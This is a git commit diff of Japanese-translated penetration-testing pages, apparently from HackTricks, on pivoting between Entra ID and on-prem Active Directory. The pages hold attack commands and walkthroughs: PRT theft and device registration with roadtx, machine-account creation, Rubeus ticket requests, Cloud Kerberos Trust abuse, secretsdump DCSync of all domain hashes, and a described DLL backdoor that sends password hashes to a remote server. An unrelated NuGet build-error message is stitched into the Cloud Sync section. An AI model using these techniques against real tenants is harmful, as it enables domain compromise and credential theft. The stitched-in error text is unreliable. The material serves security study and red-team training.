Translated ['src/pentesting-cloud/azure-security/az-device-registration.

This commit is contained in:
Translator
2025-07-30 04:10:12 +00:00
parent 6048d2938b
commit 2441ef3ef0
20 changed files with 390 additions and 595 deletions

View File

@@ -1,4 +1,4 @@
# Az - デバイス登録
# Az - Device Registration
{{#include ../../banners/hacktricks-training.md}}
@@ -10,7 +10,7 @@
その後、デバイス内に2つのRSAキーペアが生成されます**デバイスキー****公開**キー)は**AzureAD**に送信され、**トランスポート**キー(**秘密**キーは可能であればTPMに保存されます。
次に、**オブジェクト**が**AzureAD**Intuneではなくに生成され、AzureADはデバイスに署名された**証明書**を返します。**デバイスがAzureADに参加している**かどうかや、**証明書**に関する情報TPMで保護されているかどうかなどを確認できます。
次に、**オブジェクト**が**AzureAD**に生成されIntuneではなく、AzureADはデバイスに署名された**証明書**を返します。**デバイスがAzureADに参加している**かどうかや、**証明書**に関する情報TPMで保護されているかどうかなどを確認できます。
```bash
dsregcmd /status
```
@@ -25,17 +25,17 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
### TPM - Trusted Platform Module
**TPM**は、電源がオフのデバイスからのキー**抽出**PINで保護されている場合や、OS層からのプライベートマテリアルの抽出に対して**保護**します。\
しかし、**TPMとCPUの間の物理接続を**スニッフィングすることや、**SYSTEM**権限を持つプロセスからシステムが稼働中のTPM内の暗号材料を**使用すること**に対しては**保護ません**
しかし、**TPMとCPUの間の物理接続をスニッフィングすること**や、**SYSTEM**権限を持つプロセスからシステムが稼働している間にTPM内の暗号材料を**使用すること**に対しては**保護**されていません。
以下のページを確認すると、**PRTを盗むこと**が**ユーザー**としてアクセスするために使用できることがわかります。これは素晴らしいことで、**PRTはデバイスに存在する**ため、それらから盗まれる可能性があります(または盗まれなくても新しい署名キーを生成するために悪用される可能性があります):
{{#ref}}
az-lateral-movement-cloud-on-prem/pass-the-prt.md
az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
{{#endref}}
## SSOトークンを使用したデバイスの登録
攻撃者が侵害されたデバイスからMicrosoftデバイス登録サービスのトークンを要求し、登録することが可能です
攻撃者が侵害されたデバイスからMicrosoftデバイス登録サービスのトークンを要求し、それを登録することが可能です
```bash
# Initialize SSO flow
roadrecon auth prt-init
@@ -68,17 +68,17 @@ registerdevice.py
[**元のスライドをこちらで確認してください**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf)
攻撃の概要
攻撃の概要:
- **SSOを介して**デバイスの**登録されたWHFB**キーを**上書き**することが可能です
- 新しいキーの生成中に**キーがスニッフィングされるためTPM保護を**打破します
- 新しいキーの生成中にキーが**スニッフィングされるため**TPM保護を**打破します**
- これにより**持続性**も提供されます
<figure><img src="../../images/image (34).png" alt=""><figcaption></figcaption></figure>
ユーザーはAzure AD Graphを介して自分のsearchableDeviceKeyプロパティを変更できますが、攻撃者はテナント内にデバイスを持っている必要がありますその場で登録されたか、正当なデバイスから証明書とキーを盗んだ場合およびAAD Graphの有効なアクセストークンが必要です。
次に、新しいキーを生成することが可能です
次に、新しいキーを生成することが可能です:
```bash
roadtx genhellokey -d <device id> -k tempkey.key
```

View File

@@ -1,65 +1,39 @@
# Az - Lateral Movement (Cloud - On-Prem)
## Az - Lateral Movement (Cloud - On-Prem)
{{#include ../../../banners/hacktricks-training.md}}
### クラウドに接続されたオンプレミスのマシン
## 基本情報
マシンがクラウドに接続される方法はいくつかあります
このセクションでは、侵害された Entra ID テナントからオンプレミスの Active Directory (AD) へ、または侵害された AD から Entra ID テナントへ移動するためのピボッティング技術をカバーします
#### Azure AD 参加
## ピボッティング技術
<figure><img src="../../../images/image (259).png" alt=""><figcaption></figcaption></figure>
- [**Arc Vulnerable GPO Desploy Script**](az-arc-vulnerable-gpo-deploy-script.md): 攻撃者が AD コンピュータアカウントを制御または作成し、Azure Arc GPO デプロイメント共有にアクセスできる場合、保存された Service Principal シークレットを復号化し、関連するサービスプリンシパルとして Azure に認証するために使用でき、リンクされた Azure 環境を完全に侵害します。
#### Workplace 参加
- [**Cloud Kerberos Trust**](az-cloud-kerberos-trust.md): Cloud Kerberos Trust が構成されている場合に、Entra ID から AD へピボットする方法。Entra ID (Azure AD) のグローバル管理者は、Cloud Kerberos Trust と同期 API を悪用して、高特権の AD アカウントを偽装し、その Kerberos チケットまたは NTLM ハッシュを取得し、オンプレミスの Active Directory を完全に侵害することができます—これらのアカウントがクラウドと同期されていなくても—効果的にクラウドから AD への特権昇格を橋渡しします。
<figure><img src="../../../images/image (222).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&#x26;name=large">https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&#x26;name=large</a></p></figcaption></figure>
- [**Cloud Sync**](az-cloud-sync.md): クラウドからオンプレミス AD へ、またその逆に移動するために Cloud Sync を悪用する方法。
#### ハイブリッド参加
- [**Connect Sync**](az-connect-sync.md): クラウドからオンプレミス AD へ、またその逆に移動するために Connect Sync を悪用する方法。
<figure><img src="../../../images/image (178).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&#x26;name=large">https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&#x26;name=large</a></p></figcaption></figure>
- [**Domain Services**](az-domain-services.md): Azure Domain Services サービスとは何か、Entra ID から生成される AD へピボットする方法。
#### AADJ またはハイブリッドでの Workplace 参加
- [**Federation**](az-federation.md): クラウドからオンプレミス AD へ、またその逆に移動するために Federation を悪用する方法。
<figure><img src="../../../images/image (252).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&#x26;name=large">https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&#x26;name=large</a></p></figcaption></figure>
- [**Hybrid Misc Attacks**](az-hybrid-identity-misc-attacks.md): クラウドからオンプレミス AD へ、またその逆にピボットするために使用できる雑多な攻撃。
### トークンと制限 <a href="#tokens-and-limitations" id="tokens-and-limitations"></a>
- [**Local Cloud Credentials**](az-local-cloud-credentials.md): PC が侵害されたときにクラウドへの資格情報を見つける場所。
Azure AD には、特定の制限を持つさまざまなタイプのトークンがあります:
- [**Pass the Certificate**](az-pass-the-certificate.md): PRT に基づいて証明書を生成し、1 台のマシンから別のマシンにログインする方法。
- **アクセストークン**APIやMicrosoft Graphなどのリソースにアクセスするために使用されます。特定のクライアントとリソースに結びついています
- **リフレッシュトークン**:新しいアクセストークンを取得するためにアプリケーションに発行されます。発行されたアプリケーションまたはアプリケーションのグループでのみ使用できます。
- **プライマリリフレッシュトークン (PRT)**Azure AD 参加、登録、またはハイブリッド参加デバイスでのシングルサインオンに使用されます。ブラウザのサインインフローやデバイス上のモバイルおよびデスクトップアプリケーションへのサインインに使用できます。
- **Windows Hello for Business キー (WHFB)**:パスワードなしの認証に使用されます。プライマリリフレッシュトークンを取得するために使用されます。
- [**Pass the Cookie**](az-pass-the-cookie.md): ブラウザから Azure クッキーを盗み、それを使用してログインする方法
最も興味深いタイプのトークンはプライマリリフレッシュトークン (PRT) です
- [**Primary Refresh Token/Pass the PRT/Phishing PRT**](az-primary-refresh-token-prt.md): PRT とは何か、それを盗んでユーザーを偽装して Azure リソースにアクセスする方法
{{#ref}}
az-primary-refresh-token-prt.md
{{#endref}}
- [**PtA - Pass through Authentication**](az-pta-pass-through-authentication.md): Pass-through Authentication を悪用してクラウドからオンプレミス AD へ、またその逆に移動する方法。
### ピボッティング技術
- [**Seamless SSO**](az-seamless-sso.md): Seamless SSO を悪用してオンプレミスからクラウドへ移動する方法。
**侵害されたマシンからクラウドへ**
- [**Pass the Cookie**](az-pass-the-cookie.md)ブラウザからAzureクッキーを盗み、それを使用してログイン
- [**Dump processes access tokens**](az-processes-memory-access-token.md)クラウドと同期されたローカルプロセスのメモリをダンプしExcel、Teamsなど、クリアテキストのアクセストークンを見つける。
- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** PRTをフィッシングして悪用する
- [**Pass the PRT**](pass-the-prt.md)デバイスのPRTを盗んでAzureにアクセスする
- [**Pass the Certificate**](az-pass-the-certificate.md)**:** PRTに基づいて証明書を生成し、1台のマシンから別のマシンにログインする
**ADからクラウドへの侵害、クラウドからADへの侵害**
- [**Azure AD Connect**](azure-ad-connect-hybrid-identity/)
- **クラウドからオンプレミスにピボットする別の方法は** [**Intuneを悪用すること**](../az-services/intune.md)
#### [Roadtx](https://github.com/dirkjanm/ROADtools)
このツールは、Azure ADにマシンを登録してPRTを取得し、PRT正当または盗まれたを使用してさまざまな方法でリソースにアクセスするなど、いくつかのアクションを実行することを可能にします。これらは直接的な攻撃ではありませんが、PRTを使用してさまざまな方法でリソースにアクセスするのを容易にします。詳細は[https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/)を参照してください。
## 参考文献
- [https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
- **クラウドからオンプレミスにピボットする別の方法は** [**Intune を悪用すること**](../az-services/intune.md)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,16 +4,16 @@
### 課題の特定
Azure Arcは、グループポリシーオブジェクトメソッドを使用して新しい内部サーバードメインに参加したサーバーをAzure Arcに統合することを可能にします。これを促進するために、Microsoftはオンボーディング手順を開始するために必要なデプロイメントツールキットを提供しています。ArcEnableServerGroupPolicy.zipファイル内には、次のスクリプトが含まれていますDeployGPO.ps1、EnableAzureArc.ps1、およびAzureArcDeployment.psm1。
Azure Arcは、グループポリシーオブジェクトメソッドを使用して新しい内部サーバードメインに参加したサーバーをAzure Arcに統合することを可能にします。これを促進するために、Microsoftはオンボーディング手順を開始するために必要なデプロイメントツールキットを提供しています。ArcEnableServerGroupPolicy.zipファイル内には、次のスクリプトが含まれています: DeployGPO.ps1、EnableAzureArc.ps1、およびAzureArcDeployment.psm1。
DeployGPO.ps1スクリプトを実行すると、のアクションが実行されます
DeployGPO.ps1スクリプトを実行すると、以下のアクションが実行されます:
1. ローカルドメイン内にAzure ArcサーバーオンボーディングGPOを作成します。
1. ローカルドメイン内にAzure Arc Servers Onboarding GPOを作成します。
2. オンボーディングプロセスのために作成された指定されたネットワーク共有にEnableAzureArc.ps1オンボーディングスクリプトをコピーします。この共有にはWindowsインストーラーパッケージも含まれています。
このスクリプトを実行する際、システム管理者は2つの主要なパラメータを提供する必要があります**ServicePrincipalId**と**ServicePrincipalClientSecret**。さらに、ドメイン、共有をホストするサーバーのFQDN、および共有名などの他のパラメータも必要です。テナントID、リソースグループ、およびスクリプトに提供する必要のあるその他の情報など、さらなる詳細も必要です。
このスクリプトを実行する際、システム管理者は2つの主要なパラメータを提供する必要があります: **ServicePrincipalId****ServicePrincipalClientSecret**。さらに、ドメイン、共有をホストするサーバーのFQDN、および共有名などの他のパラメータも必要です。テナントID、リソースグループ、およびスクリプトに提供する必要のあるその他の情報など詳細も必要です。
暗号化されたシークレットは、指定された共有のAzureArcDeployディレクトリ内にDPAPI-NG暗号化を使用して生成されます。暗号化されたシークレットは、encryptedServicePrincipalSecretという名前のファイルに保存されます。これに関する証拠は、DeployGPO.ps1スクリプト内に見られ、暗号化は$descriptorと$ServicePrincipalSecretを入力としてProtectBase64を呼び出すことによって行われます。ディスクリプタは、ドメインコンピュータおよびドメインコントローラーグループのSIDで構成されており、ServicePrincipalSecretはドメインコントローラーおよびドメインコンピュータのセキュリティグループによってのみ復号化できることが、スクリプトのコメントに記載されています。
暗号化されたシークレットは、指定された共有のAzureArcDeployディレクトリ内にDPAPI-NG暗号化を使用して生成されます。暗号化されたシークレットは、encryptedServicePrincipalSecretという名前のファイルに保存されます。これに関する証拠は、DeployGPO.ps1スクリプト内に見られ、暗号化は$descriptorと$ServicePrincipalSecretを入力としてProtectBase64を呼び出すこと行われます。descriptorは、ドメインコンピュータおよびドメインコントローラーグループのSIDで構成されており、ServicePrincipalSecretはドメインコントローラーおよびドメインコンピュータのセキュリティグループによってのみ復号化できることが、スクリプトのコメントに記載されています。
```bash
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
@@ -35,7 +35,7 @@ AD環境内でマシンアカウントを取得する方法はいくつかあり
Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```
マシンアカウントが取得されると、このアカウントを使用して認証することが可能です。runas.exe コマンドを netonly フラグと共に使用するか、Rubeus.exe を使用してパス・ザ・チケットを利用することができます。
マシンアカウントが取得されると、このアカウントを使用して認証することが可能です。runas.exeコマンドをnetonlyフラグと共に使用するか、Rubeus.exeを使用してパス・ザ・チケットを利用することができます。
```bash
runas /user:fake01$ /netonly powershell
```
@@ -43,7 +43,7 @@ runas /user:fake01$ /netonly powershell
```bash
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
```
コンピュータアカウントのTGTがメモリに保存されていることで、次のスクリプトを使用してサービスプリンシパルの秘密を復号化できます。
コンピュータアカウントのTGTがメモリに保存されている場合、次のスクリプトを使用してサービスプリンシパルの秘密を復号化できます。
```bash
Import-Module .\AzureArcDeployment.psm1
@@ -56,7 +56,7 @@ $ebs
この時点で、暗号化されたServicePrincipalSecretファイルと同じネットワーク共有に保存されているArcInfo.jsonファイルから、Azureに接続するために必要な残りの情報を収集できます。このファイルには、TenantId、servicePrincipalClientId、ResourceGroupなどの詳細が含まれています。この情報を使用して、Azure CLIを使用して侵害されたサービスプリンシパルとして認証できます。
## References
## 参考文献
- [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/)

View File

@@ -2,11 +2,11 @@
{{#include ../../../../banners/hacktricks-training.md}}
**この投稿は** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **に関する要約であり、攻撃に関するさらなる情報を確認できます。この技術については** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**でもコメントされています。**
**この投稿は** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **要約であり、攻撃に関するさらなる情報を確認できます。この技術については** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**でもコメントされています。**
## Kerberos Trust Relationship Overview
**Cloud Kerberos Trust (Entra ID -> AD)** -- この機能Windows Hello for Businessの一部は、一方向の信頼を確立し、オンプレミスのADが**Entra IDを信頼して**ADのためにKerberosチケットを発行します。これを有効にすると、ADに**AzureADKerberos$**コンピュータオブジェクトが作成され(読み取り専用ドメインコントローラとして表示される)、リンクされた**`krbtgt_AzureAD`**アカウントセカンダリKRBTGTが作成されます。Entra IDはこれらのアカウントの鍵を保持し、ADユーザーのために「部分的」Kerberos TGTを発行できます。ADドメインコントローラはこれらのチケットを尊重しますが、RODCのような制限がありますデフォルトでは、**高特権グループDomain Admins、Enterprise Adminsなどは*拒否*され**、通常のユーザーは許可されます。これにより、Entra IDは通常の条件下でドメイン管理者を信頼を通じて認証できなくなります。しかし、後で見るように、十分なEntra IDの権限を持つ攻撃者はこの信頼設計を悪用できます。
**Cloud Kerberos Trust (Entra ID -> AD)** -- この機能Windows Hello for Businessの一部は、一方向の信頼を確立し、オンプレミスのADが**Entra IDを信頼して**ADのためにKerberosチケットを発行します。これを有効にすると、ADに**AzureADKerberos$**コンピュータオブジェクトが作成され(読み取り専用ドメインコントローラとして表示される)、リンクされた**`krbtgt_AzureAD`**アカウントセカンダリKRBTGTが作成されます。Entra IDはこれらのアカウントの鍵を保持し、ADユーザーのために「部分的」Kerberos TGTを発行できます。ADドメインコントローラはこれらのチケットを尊重しますが、RODCのような制限がありますデフォルトでは、**高特権グループDomain Admins、Enterprise Adminsなどは*拒否*され**、通常のユーザーは許可されます。これにより、Entra IDは通常の条件下でドメイン管理者を信頼を介して認証することができません。しかし、後で見るように、十分なEntra IDの権限を持つ攻撃者はこの信頼設計を悪用することができます。
## Pivoting from Entra ID to On-Prem AD
@@ -20,7 +20,7 @@
- 攻撃者が認証できる少なくとも1つの**ハイブリッドユーザーアカウント**ADとAADの両方に存在が必要です。これは、その資格情報を知っているかリセットするか、パスワードレスの方法一時的アクセスパスを割り当ててプライマリリフレッシュトークンPRTを生成することで取得できます。
- デフォルトのRODC「拒否」ポリシーに*含まれない*高特権の**オンプレミスADターゲットアカウント**が必要です。実際には、**AD Connect同期アカウント**(通常は**MSOL_***と名付けられるが優れたターゲットであり、AD内でDCSyncレプリケーション権限を持っていますが、通常は組み込みの管理グループのメンバーではありません。このアカウントは通常Entra IDに同期されないため、そのSIDを衝突なく偽装することができます。
- デフォルトのRODC「拒否」ポリシーに*含まれない*高特権の**オンプレミスADターゲットアカウント**。実際には、**AD Connect同期アカウント**(通常は**MSOL_***と名付けられるが優れたターゲットであり、AD内でDCSyncレプリケーション権限を持っていますが、通常は組み込みの管理グループのメンバーではありません。このアカウントは通常Entra IDに同期されないため、そのSIDは競合なしに偽装することができます。
**攻撃手順:**
@@ -44,21 +44,21 @@ python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
```bash
roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
```
この出力は、部分的なTGTとセッションキーを含む`.prt`ファイルを生成します。アカウントがクラウド専用パスワード場合、Azure ADはPRTレスポンスにTGT_ADを含めます。
この出力は、部分的なTGTとセッションキーを含む`.prt`ファイルを生成します。アカウントがクラウド専用パスワードであった場合、Azure ADはPRTレスポンスにTGT_ADを含めます。
4. **Exchange Partial TGT for Full TGT (on AD):** 部分的TGTは、ターゲットアカウントの**フルTGT**を取得するためにオンプレミスのドメインコントローラーに提示できます。これは、`krbtgt`サービスドメインの主要なTGTサービスに対してTGSリクエストを実行することで行います。基本的に、チケットをフルPACを持つ通常のTGTにアップグレードします。この交換を自動化するためのツールが利用可能です。例えば、ROADtools Hybridのスクリプトを使用します:
4. **部分的TGTをフルTGTに交換AD上:** 部分的TGTは、ターゲットアカウントの**フルTGT**を取得するためにオンプレミスのドメインコントローラーに提示できます。これは、`krbtgt`サービスドメインの主要なTGTサービスに対してTGSリクエストを実行することで行います。基本的に、チケットをフルPACを持つ通常のTGTにアップグレードします。この交換を自動化するためのツールが利用可能です。例えば、ROADtools Hybridのスクリプトを使用します:
```bash
# Use the partial TGT from the PRT file to get a full TGT and NTLM hash
python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
```
このスクリプトまたはImpacketの同等物は、ドメインコントローラーに接続し、ターゲットADアカウントの有効なTGTを取得します。特別なKerberos拡張が使用されている場合、アカウントのNTLMハッシュも含まれます。**`KERB-KEY-LIST-REQ`**拡張は、自動的にDCにターゲットアカウントのNTLMハッシュを暗号化された返信で返すように要求するために含まれています。その結果、ターゲットアカウントのための資格情報キャッシュ(`full_tgt.ccache`または回収されたNTLMパスワードハッシュが得られます。
このスクリプトまたはImpacketの同等物は、ドメインコントローラーに接続し、ターゲットADアカウントの有効なTGTを取得します。特別なKerberos拡張が使用されている場合、アカウントのNTLMハッシュも含まれます。**`KERB-KEY-LIST-REQ`**拡張は、自動的にDCにターゲットアカウントのNTLMハッシュを暗号化された返信で返すように要求するために含まれます。結果、ターゲットアカウントのための資格情報キャッシュ(`full_tgt.ccache`または回収されたNTLMパスワードハッシュす。
5. **ターゲットを偽装し、ドメイン管理者に昇格する:** これで攻撃者は実質的に**ターゲットADアカウントを制御**しています。たとえば、ターゲットがAD Connect **MSOLアカウント**であった場合、ディレクトリに対するレプリケーション権限を持っています。攻撃者は、そのアカウントの資格情報またはKerberos TGTを使用して、ADからパスワードハッシュをダンプする**DCSync**攻撃を実行できますドメインKRBTGTアカウントを含む。例えば
5. **ターゲットを偽装し、ドメイン管理者に昇格する:** これで攻撃者は実質的に**ターゲットADアカウントを制御**しています。たとえば、ターゲットがAD Connect **MSOLアカウント**であった場合、ディレクトリに対するレプリケーション権限を持っています。攻撃者は、そのアカウントの資格情報またはKerberos TGTを使用して、ADからパスワードハッシュをダンプする**DCSync**攻撃を実行できますドメインKRBTGTアカウントを含む。例えば:
```bash
# Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash)
secretsdump.py 'AD_DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash> LOCAL
```
これはすべてのADユーザーパスワードハッシュをダンプし、攻撃者にKRBTGTハッシュを提供しますこれにより、ドメインKerberosチケットを自由に偽造でき、実質的にADに対する**Domain Admin**権限を与えます。ターゲットアカウントが別の特権ユーザーであった場合、攻撃者はそのユーザーとしてドメインリソースにアクセスするために完全なTGTを使用できます。
これはすべてのADユーザーパスワードハッシュをダンプし、攻撃者にKRBTGTハッシュを提供しますこれにより、ドメインKerberosチケットを自由に偽造でき、実質的に**Domain Admin**権限をADに対して持つことになります。ターゲットアカウントが別の特権ユーザーであった場合、攻撃者はそのユーザーとしてドメインリソースにアクセスするために完全なTGTを使用できます。
6. **クリーンアップ:** オプションとして、攻撃者は同じAPIを介して変更されたAzure ADユーザーの元の`onPremisesSAMAccountName`とSIDを復元するか、単に作成された一時ユーザーを削除できます。多くの場合、次のAzure AD Connect同期サイクルでは、同期された属性の不正な変更が自動的に元に戻されます。ただし、この時点でダメージはすでに発生しています -- 攻撃者はDA権限を持っています。

View File

@@ -12,32 +12,32 @@
これが機能するためには、Entra ID とオンプレミスディレクトリの両方にいくつかのプリンシパルが作成されます。
- Entra ID では、ユーザー `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) が **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`) の役割で作成されます。
- Entra ID では、ユーザー `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) が **`Directory Synchronization Accounts`** の役割 (`d29b2b05-8046-44ba-8758-1e26182fcf32`) で作成されます。
> [!WARNING]
> この役割は多くの特権的な権限を持っており、[**グローバル管理者への権限昇格に使用される可能性がありました**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b)。しかし、Microsoft はこの役割のすべての権限を削除し、新しい **`microsoft.directory/onPremisesSynchronization/standard/read`** のみを割り当てました。これにより、ユーザーのパスワードや属性を変更したり、SP に新しい資格情報を追加したりする特権的なアクションを実行することはできません。
> この役割は多くの特権的な権限を持っており、[**グローバル管理者への権限昇格に使用される可能性がありました**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b)。しかし、Microsoft はこの役割のすべての権限を削除し、新しい **`microsoft.directory/onPremisesSynchronization/standard/read`** のみを割り当てました。これ、ユーザーのパスワードや属性を変更したり、SP に新しい資格情報を追加したりするような特権的なアクションを実行することを実際には許可しません。
- Entra ID では、メンバーや所有者のないグループ **`AAD DC Administrators`** も作成されます。このグループは [`Microsoft Entra Domain Services`](./az-domain-services.md) を使用する場合に便利です。
- Entra ID では、メンバーや所有者のないグループ **`AAD DC Administrators`** も作成されます。このグループは [`Microsoft Entra Domain Services`](./az-domain-services.md) を使用する場合に便利です。
- AD では、サービスアカウント **`provAgentgMSA`** が **`pGMSA_<id>$@domain.com`** のような SamAccountName で作成されるか、[**これらの権限が必要なカスタムアカウント**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account) が作成されます。通常、デフォルトのものが作成されます。
> [!WARNING]
> 他の権限の中で、サービスアカウント **`provAgentgMSA`** は DCSync 権限を持っており、**それを侵害した者はディレクトリ全体を侵害することができます**。DCSync についての詳細は [こちらを確認してください](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html)。
> 他の権限の中で、サービスアカウント **`provAgentgMSA`** は DCSync 権限を持っており、**それを侵害した者はディレクトリ全体を侵害することができます**。DCSync についての詳細は[こちらを確認してください](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html)。
> [!NOTE]
> デフォルトでは、**`adminCount`** 属性が 1 の既知の特権グループのユーザーは、セキュリティ上の理由から Entra ID と同期されません。ただし、この属性を持たない特権グループの他のユーザーや、特権が直接割り当てられたユーザーは **同期される可能性があります**
> デフォルトでは、**`adminCount`** 属性が 1 の既知の特権グループのユーザーは、セキュリティ上の理由から Entra ID と同期されません。ただし、この属性を持たない特権グループの他のユーザーや、直接高い権限が割り当てられたユーザーは **同期される可能性があります**
## パスワード同期
このセクションは以下のものと非常に似ています:
このセクションは以下の内容に非常に似ています:
{{#ref}}
az-connect-sync.md
{{#endref}}
- **パスワードハッシュ同期** を有効にすると、ユーザーは **AD のパスワードを使用して Entra ID にログインできるようになります**。さらに、AD でパスワードが変更されると、Entra ID にも更新されます。
- **パスワード書き戻し** も有効にでき、ユーザーが Entra ID でパスワードを変更すると、オンプレミスドメインパスワードが自動的に同期されます。ただし、[現在のドキュメント](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback) によると、これには Connect Agent を使用する必要があるため、[Az Connect Sync セクション](./az-connect-sync.md) を参照してください。
- **グループ書き戻し**: この機能により、Entra ID のグループメンバーシップがオンプレミス AD に同期されます。つまり、ユーザーが Entra ID のグループに追加されると、AD の対応するグループにも追加されます。
- **パスワード書き戻し** も有効にでき、ユーザーが Entra ID でパスワードを変更すると、オンプレミスドメインで自動的にパスワードが同期されます。ただし、[現在のドキュメント](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback) によれば、これには Connect Agent を使用する必要があるため、[Az Connect Sync セクション](./az-connect-sync.md) を参照してください。
- **グループ書き戻し**: この機能により、Entra ID のグループメンバーシップがオンプレミス AD に同期されます。つまり、ユーザーが Entra ID のグループに追加されると、AD の対応するグループにも追加されます。
## ピボッティング
@@ -81,13 +81,13 @@ https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/i
{{#endref}}
> [!NOTE]
> AzureまたはEntraIDの役割を属性に基づいて同期されたユーザーに付与する方法はありません。たとえば、Cloud Syncの設定ではそうです。しかし、同期されたユーザーに自動的に権限を付与するために、**ADからのいくつかのEntra IDグループ**に権限が付与される可能性があるため、これらのグループ内の同期されたユーザーもそれを受け取るか、**動的グループが使用される可能性があります**。したがって、常に動的ルールとそれを悪用する可能性のある方法を確認してください:
> AzureまたはEntraIDの役割を属性に基づいて同期されたユーザーに付与する方法はありません。たとえば、Cloud Syncの設定ではそうです。しかし、同期されたユーザーに自動的に権限を付与するために、**ADからのいくつかのEntra IDグループ**に権限が付与される可能性があるため、これらのグループ内の同期されたユーザーもそれを受け取るか、**動的グループが使用される可能性があります**。したがって、常に動的ルールとそれを悪用する潜在的な方法を確認してください:
{{#ref}}
../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
{{#endref}}
永続性に関しては、[このブログ投稿](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html)は、[**dnSpy**](https://github.com/dnSpy/dnSpy)を使用して、Cloud Syncエージェントによってパスワード同期を実行するために使用される**`Microsoft.Online.Passwordsynchronisation.dll`**バックドアを作成することが可能であると示唆しています。このdllは**`C:\Program Files\Microsoft Azure AD Sync\Bin`**にあります。このdllは、同期されるユーザーのパスワードハッシュをリモートサーバーに流出させるようにします。ハッシュは**`PasswordHashGenerator`**クラス内で生成され、ブログ投稿では、クラスが次のようになるようにコードを追加することを提案しています(`use System.Net``WebClient`を使用してパスワードハッシュを流出させることに注意してください):
永続性に関しては、[このブログ投稿](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html)は、**`C:\Program Files\Microsoft Azure AD Sync\Bin`**にある**`Microsoft.Online.Passwordsynchronisation.dll`**バックドアするために[**dnSpy**](https://github.com/dnSpy/dnSpy)を使用することが可能であると示唆しています。このdllはCloud Syncエージェントによってパスワード同期を実行するために使用され、同期されるユーザーのパスワードハッシュをリモートサーバーに流出させるようにします。ハッシュは**`PasswordHashGenerator`**クラス内で生成され、ブログ投稿では、クラスが次のようになるようにコードを追加することを提案しています(`use System.Net``WebClient`を使用してパスワードハッシュを流出させることに注意してください):
```csharp
using System;
using System.Net;
@@ -122,7 +122,7 @@ RawHash = passwordHashData.RawHash
}
```
NuGet パッケージの復元がプロジェクト AzTokenFinder に対して失敗しました: パッケージ 'System.Security.Cryptography.X509Certificates' のバージョン '4.3.2' が見つかりません。
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: パッケージ 'System.Security.Cryptography.X509Certificates.4.3.2' はソース 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\' 見つかりませんでした。
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: パッケージ 'System.Security.Cryptography.X509Certificates.4.3.2' はソース 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\' 見つかりませんでした。
詳細な警告とエラーについては、エラーリストウィンドウを参照してください。
@@ -131,12 +131,12 @@ C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: パッケージ 'System.Se
- **Password Writeback** が有効になっている場合、Entra ID からいくつかのユーザーのパスワードを変更でき、AD ネットワークにアクセスできる場合は、それを使用して接続できます。詳細については、パスワードの書き戻しがそのエージェントを使用して構成されているため、[Az Connect Sync セクション](./az-connect-sync.md)を確認してください。
